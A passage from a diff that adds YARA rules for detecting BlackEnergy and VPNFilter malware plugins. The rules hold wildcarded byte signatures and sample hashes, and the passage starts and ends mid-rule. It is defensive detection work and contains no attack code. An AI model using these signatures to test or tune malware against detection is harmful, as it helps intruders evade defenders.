+		hash.sha256(0, filesize) == "7a393b3eadfc8938cbecf84ca630e56e37d8b3d23e084a12ea5a7955642db291" or
+		hash.sha256(0, filesize) == "ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525" or
+		hash.sha256(0, filesize) == "ed080c2635180f27c8d288e96c1105d0914dc1bb55917d2f5f2538fc32974aa2" or
+		hash.sha256(0, filesize) == "43ce710a83c99fb4c0bac2ea93727a9d5dda6e82e30b5fe861f9e3e0acddaa1c" or
+		hash.sha256(0, filesize) == "edcd1722fdc2c924382903b7e4580f9b77603110e497393c9947d45d311234bf" or
+		hash.sha256(0, filesize) == "81125a5eb555dc898a5af966cf5ac8380e6c8e64a1c7f7981e8db8c9dbb37394" or
+		hash.sha256(0, filesize) == "5111de45210751c8e40441f16760bf59856ba798ba99e3c9532a104752bf7bcc" or
+		hash.sha256(0, filesize) == "b73777469f939c331cbc1c9ad703f973d55851f3ad09282ab5b3546befa5b54a" or
+		12 of them
+}
+
+rule BlackEnergyPluginNetworkDiscovery {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? 8B ?? 2B ?? 89 ?? ?? 3B ?? ?? 0F 83 }
+		$block_1 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_2 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? ?? 5? 6A ?? FF D? 89 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 8B ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 5? 6A ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 5? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 5? 6A ?? FF D? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_7 = { FF 4? ?? 6A ?? 8D ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_8 = { 03 ?? 0F B6 ?? C1 ?? ?? 8A ?? ?? ?? ?? ?? 4? 88 ?? 3B ?? 0F BE ?? 75 }
+		$block_9 = { 5? 5? 5? 8D ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_10 = { FF 7? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_11 = { 8B ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_12 = { 8D ?? ?? 5? 6A ?? 6A ?? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_14 = { 8B ?? ?? C1 ?? ?? 5? 5? 89 ?? ?? 89 ?? ?? 3B ?? 0F 86 }
+		$block_15 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "325db53fdeb928597531ee1d20f7528f687c2c5611e3fa408f41a654e73b0f1b" or
+		12 of them
+}
+
+rule VPNFilterStage1 {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { B8 ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FC C1 ?? ?? F3 ?? F6 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 74 }
+		$block_2 = { 31 ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_3 = { BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_4 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 31 ?? 83 ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_5 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_6 = { 5? B9 ?? ?? ?? ?? 89 ?? 31 ?? 5? 5? 5? FC 8D ?? ?? 83 ?? ?? 89 ?? F3 ?? 66 ?? ?? ?? ?? 31 ?? 9? }
+		$block_7 = { 8B ?? ?? 8B ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? FF 5? ?? 85 ?? 0F 85 }
+		$block_8 = { FF 8? ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 8F }
+		$block_9 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? BE ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_10 = { B1 ?? 89 ?? 8B ?? ?? ?? F6 ?? BA ?? ?? ?? ?? 89 ?? 31 ?? 0F B6 ?? F7 ?? 8D ?? ?? 88 ?? 04 ?? 88 }
+		$block_11 = { 89 ?? C1 ?? ?? F6 ?? ?? 0F 95 ?? 0F B6 ?? 01 ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 75 }
+		$block_13 = { 8B ?? ?? 89 ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_15 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_16 = { 8B ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? C1 ?? ?? BE ?? ?? ?? ?? 01 ?? 89 ?? ?? 0F B6 ?? 8B ?? ?? 29 }
+		$block_17 = { B9 ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 01 ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 09 ?? 8D ?? ?? 39 ?? 0F 87 }
+		$block_19 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 8D ?? ?? 3D ?? ?? ?? ?? 89 ?? ?? 0F 87 }
+		$block_20 = { BE ?? ?? ?? ?? B9 ?? ?? ?? ?? FC F3 ?? A1 ?? ?? ?? ?? 66 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? 5? C3 }
+		$block_21 = { 8B ?? ?? 0F B6 ?? 01 ?? 4? 0F B6 ?? 83 ?? ?? 30 ?? 88 ?? 88 ?? FF 4? ?? 8B ?? ?? 39 ?? ?? 74 }
+		$block_22 = { B9 ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_23 = { 83 ?? ?? 89 ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 29 ?? 8D ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F 86 }
+		$block_25 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_26 = { 4? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_27 = { 89 ?? B3 ?? F6 ?? BA ?? ?? ?? ?? 89 ?? 31 ?? 0F B6 ?? F7 ?? 88 ?? 04 ?? 3C ?? 88 ?? ?? ?? 74 }
+		$block_28 = { 8B ?? ?? 8B ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_29 = { 0F B6 ?? C1 ?? ?? 89 ?? ?? 0F B6 ?? ?? 09 ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? 4? 3D ?? ?? ?? ?? 77 }
+		$block_30 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_31 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_32 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 8D ?? ?? 83 ?? ?? 0F 86 }
+		$block_33 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_34 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_35 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_36 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_37 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? 01 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 8D ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_39 = { C7 ?? ?? ?? ?? ?? ?? 29 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_40 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 0F B6 ?? ?? ?? 0F B6 ?? 39 ?? 74 }
+		$block_41 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_42 = { 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 89 ?? 0F 8E }
+		$block_43 = { 89 ?? 31 ?? FC C1 ?? ?? F3 ?? 8D ?? ?? ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 76 }
+		$block_44 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 89 ?? 0F 84 }
+		$block_46 = { 8B ?? ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 09 ?? 8D ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_47 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_48 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_49 = { 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? C6 ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 }
+		$block_50 = { 8D ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_51 = { 80 F? ?? 0F B6 ?? ?? 0F B6 ?? ?? 19 ?? 83 ?? ?? C1 ?? ?? 09 ?? 8D ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 89 ?? 0F 84 }
+		$block_53 = { 0F B6 ?? ?? 8B ?? ?? ?? ?? ?? 80 E? ?? 80 F? ?? 19 ?? 83 ?? ?? 83 ?? ?? 39 ?? 89 ?? ?? 74 }
+		$block_54 = { C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_55 = { 89 ?? 31 ?? FC C1 ?? ?? F3 ?? 89 ?? C1 ?? ?? 31 ?? 8B ?? ?? 89 ?? 29 ?? 83 ?? ?? 89 ?? EB }
+		$block_56 = { 8B ?? ?? 8D ?? ?? 0F B6 ?? 4? 83 ?? ?? 32 ?? 88 ?? 88 ?? FF 4? ?? 8B ?? ?? 39 ?? ?? 0F 84 }
+		$block_57 = { FC 31 ?? B9 ?? ?? ?? ?? 89 ?? F3 ?? 8B ?? ?? FF 5? ?? BA ?? ?? ?? ?? 85 ?? 89 ?? ?? 74 }
+		$block_58 = { 8D ?? ?? 4? 8D ?? ?? 89 ?? 89 ?? 0F B6 ?? ?? 8D ?? ?? ?? 89 ?? 89 ?? 8B ?? ?? 89 ?? 75 }
+		$block_59 = { 8D ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_60 = { 8B ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 89 ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_62 = { 8B ?? ?? 89 ?? 03 ?? ?? 0F B7 ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? 0B ?? ?? 74 }
+		$block_63 = { B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_64 = { 01 ?? 89 ?? ?? ?? ?? ?? 31 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_65 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_66 = { 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 09 ?? 8D ?? ?? 8D ?? ?? 39 ?? ?? ?? ?? ?? 89 ?? ?? 0F 82 }
+		$block_67 = { 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_68 = { 0F B6 ?? ?? BA ?? ?? ?? ?? 4? 89 ?? 31 ?? C6 ?? ?? ?? ?? 8D ?? ?? F7 ?? 88 ?? 04 ?? 88 }
+		$block_69 = { 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_70 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_71 = { 8B ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_72 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_73 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 29 ?? 0F 84 }
+		$block_74 = { 8B ?? ?? ?? ?? ?? 01 ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_75 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? 83 ?? ?? 8D ?? ?? 29 ?? ?? 39 ?? 89 ?? ?? 89 ?? 0F 87 }
+		$block_76 = { 8B ?? ?? C1 ?? ?? 0F B6 ?? ?? 4? 09 ?? 31 ?? 39 ?? 0F 97 ?? 4? F7 ?? 21 ?? 83 ?? ?? 75 }
+		$block_77 = { 8B ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 93 ?? 4? 0F B6 ?? 83 ?? ?? F7 ?? 21 ?? 39 ?? 75 }
+		$block_78 = { 5? B8 ?? ?? ?? ?? 89 ?? 5? 5? 5? 83 ?? ?? F6 ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 0F 85 }
+		$block_79 = { 80 B? ?? ?? ?? ?? ?? ?? 0F 95 ?? 08 ?? 0F 94 ?? 4? 0F B6 ?? 01 ?? 3B ?? ?? ?? ?? ?? 75 }
+		$block_80 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_81 = { 8B ?? ?? 39 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 87 }
+		$block_82 = { 89 ?? 89 ?? C1 ?? ?? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 39 ?? 0F 82 }
+		$block_83 = { 89 ?? 8B ?? ?? ?? ?? ?? 89 ?? C1 ?? ?? F6 ?? ?? FC F3 ?? 89 ?? 89 ?? ?? ?? ?? ?? 74 }
+		$block_84 = { 31 ?? 89 ?? ?? ?? ?? ?? 8B ?? 0F B6 ?? ?? ?? ?? ?? 80 E? ?? 88 ?? ?? ?? ?? ?? 0F 84 }
+		$block_85 = { 0A ?? ?? ?? 4? 88 ?? F6 ?? 08 ?? C0 ?? ?? 34 ?? 0F B6 ?? 01 ?? ?? ?? ?? ?? 39 ?? 75 }
+		$block_86 = { 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_87 = { 0F B6 ?? ?? ?? 89 ?? 0F B6 ?? 29 ?? 84 ?? 89 ?? 0F 94 ?? 39 ?? 0F 92 ?? 08 ?? 4? 74 }
+		$block_88 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 81 C? ?? ?? ?? ?? 39 ?? 0F 87 }
+		$block_89 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_90 = { 8B ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_91 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_92 = { 5? 89 ?? 81 E? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_93 = { 5? 89 ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_94 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_95 = { 8D ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_96 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 8F }
+		$block_97 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? A9 ?? ?? ?? ?? 0F 84 }
+		$block_98 = { 5? 89 ?? 83 ?? ?? 83 ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_99 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92" or
+		hash.sha256(0, filesize) == "51e92ba8dac0f93fc755cb98979d066234260eafc7654088c5be320f431a34fa" or
+		12 of them
+}
+
+rule VPNFilterStage3PluginTor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 31 ?? 83 ?? ?? ?? ?? 0F 95 ?? 83 ?? ?? F7 ?? 21 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 39 ?? 76 }
+		$block_1 = { 5? 8D ?? ?? 6A ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_2 = { 83 ?? ?? B9 ?? ?? ?? ?? FC 89 ?? ?? ?? ?? ?? 89 ?? BF ?? ?? ?? ?? F3 ?? 74 }
+		$block_3 = { 6B ?? ?? DB ?? ?? ?? ?? ?? D9 ?? DE ?? D9 ?? D9 ?? DD ?? DF ?? DD ?? 9E 72 }
+		$block_4 = { DD ?? DD ?? DD ?? D9 ?? D9 ?? ?? ?? ?? ?? D9 ?? DD ?? DF ?? DD ?? 9E 72 }
+		$block_5 = { 5? 68 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 88 }
+		$block_6 = { 89 ?? BD ?? ?? ?? ?? 99 F7 ?? 4? 83 ?? ?? 4? 88 ?? 83 ?? ?? 89 ?? 7E }
+		$block_7 = { D9 ?? D8 ?? D9 ?? C7 ?? ?? ?? ?? ?? ?? ?? DD ?? DF ?? DD ?? 9E 0F 86 }
+		$block_8 = { 83 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_10 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_11 = { 8D ?? ?? 5? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 8D ?? ?? B9 ?? ?? ?? ?? FC 89 ?? BF ?? ?? ?? ?? F3 ?? 74 }
+		$block_13 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 6B ?? ?? DB ?? ?? ?? ?? ?? D8 ?? D9 ?? DD ?? DF ?? 9E 76 }
+		$block_15 = { 8D ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 4? 0F 84 }
+		$block_16 = { D9 ?? ?? ?? ?? ?? D8 ?? D9 ?? DD ?? DF ?? DD ?? 9E 75 }
+		$block_17 = { 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? C9 C3 }
+		$block_18 = { 5? B8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "afd281639e26a717aead65b1886f98d6d6c258736016023b4e59de30b7348719" or
+		hash.sha256(0, filesize) == "acf32f21ec3955d6116973b3f1a85f19f237880a80cdf584e29f08bd12666999" or
+		12 of them
+}
+
+rule VPNFilterStage3PluginPacketSniffer {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? 31 ?? 31 ?? 8A ?? ?? 8A ?? ?? C1 ?? ?? 09 ?? 8D ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_1 = { 83 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 6A ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_2 = { 8B ?? ?? 8B ?? ?? 01 ?? 25 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 39 ?? ?? 0F 86 }
+		$block_3 = { 31 ?? 83 ?? ?? ?? ?? 0F 95 ?? 83 ?? ?? F7 ?? 21 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 39 ?? 76 }
+		$block_4 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 89 ?? 8B ?? ?? 80 7? ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_5 = { 8B ?? ?? 5? 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_6 = { 5? 5? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 8B ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? BA ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 8D ?? ?? ?? ?? ?? 5? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 05 ?? ?? ?? ?? 5? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
